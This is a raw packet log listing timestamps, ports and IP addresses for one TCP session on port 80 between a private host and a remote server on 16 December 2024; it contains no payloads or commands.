Dec 16, 2024 21:02:36.949867964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.949922085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.950663090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.950731993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.090006113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.090073109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.090353966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.090406895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.090435982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.090539932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.090761900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.090787888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.090884924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.091582060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.091639996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.091676950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.091726065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.092525005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.092572927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.092631102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.092744112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.093694925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.093749046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.094046116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.094120026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.097609043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.097670078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.097712994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.097731113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.097762108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.097784996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.097809076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.097826004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.097858906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.097889900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.097991943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.098009109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.098023891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.098047972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.098048925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.098082066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.098642111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.098695993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.098792076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.098841906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.099679947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.099833965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.099838018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.099883080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.100661039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.100714922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.100822926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.100872040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.101725101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.101782084 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.101813078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.101871967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.102700949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.102756977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.102859974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.102907896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.103758097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.103821039 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.103995085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.104062080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.104985952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.105040073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.105124950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.105174065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.106103897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.106156111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.106234074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.106283903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.106651068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.106703997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.106745958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.106791019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.107687950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.107739925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.107760906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.107809067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.108690977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.108720064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.108755112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.108787060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.109863043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.109924078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.109962940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.110018015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.110703945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.110761881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.110810995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.110858917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.111684084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.111751080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.111790895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.111831903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.112742901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.112785101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.112833977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.113806009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.113922119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.113929987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.113981009 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.114722967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.114800930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.114830017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.114871979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.115886927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.115936995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.116087914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.116148949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.116941929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.116992950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.116993904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.117048979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.117788076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.117854118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.117865086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.117984056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.118793964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.118871927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.118920088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.118963003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.119736910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.119792938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.119894028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.119954109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.120767117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.120830059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.120868921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.120923996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.121766090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.121927023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.121939898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.121972084 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.123215914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.123275042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.123429060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.123615026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.124068022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.124188900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.124227047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.124258995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.124866962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.124921083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.124949932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.124999046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.125792027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.125854969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.125968933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.126019955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.126801014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.126852036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.126905918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.126960993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.127825975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.127881050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.127933025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.127979994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.128842115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.128925085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.128952980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.129004955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.129844904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.129935026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.129945040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.130007982 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.130862951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.130925894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.130971909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.131025076 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.131844044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.131896019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.131953955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.132042885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.132852077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.132904053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.132966995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.133028984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.133845091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.133933067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.133991957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.134043932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.134895086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.134980917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.135044098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.135864019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.135915995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.135966063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.136013985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.136893988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.136986971 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.136993885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.137052059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.137897015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.137967110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.138024092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.138132095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.138905048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.138983011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.139059067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.139141083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.139957905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.139986038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.140047073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.140047073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.140928030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.140978098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.141150951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.141205072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.141942978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.142003059 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.142098904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.142155886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.282385111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.282411098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.282453060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.282520056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.282722950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.282752037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.282802105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.283734083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.283793926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.283819914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.283864975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.284677029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.284727097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.284764051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.284820080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.285720110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.285774946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.285816908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.285890102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.286724091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.286773920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.286832094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.286914110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.287755966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.287806988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.287954092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.288028955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.288711071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.288762093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.288798094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.288846016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.289751053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.289800882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.289839029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.289882898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.290739059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.290791988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.290848017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.290908098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.291759014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.291788101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.291810989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.291841984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.292776108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.292833090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.293015003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.293060064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.293751955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.293797016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.293975115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.294037104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.294807911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.294857979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.294934988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.294986010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.295768023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.295814991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.295871973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.296571016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.296895027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.296977043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.297131062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.297197104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.297830105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.297883034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.297995090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.298106909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.299135923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.299190044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.299246073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.299366951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.299840927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.299892902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.299967051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.300017118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.300825119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.300874949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.300947905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.301006079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.301853895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.301892042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.302046061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.302094936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.302850008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.302876949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.302896023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.302911997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.303911924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.303957939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.304007053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.304054022 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.304850101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.304896116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.304941893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.304986954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.305880070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.305931091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.306684971 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.306920052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.306967020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.307030916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.307077885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.307874918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.307919025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.308084965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.308124065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.308856964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.308912992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.309001923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.309046030 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.309887886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.309937000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.309958935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.310034990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.310906887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.310949087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.311019897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.311069965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.311897993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.311942101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.311969042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.311984062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.312954903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.313019037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.313056946 CET	80	49812	31.41.244.11	192.168.2.4
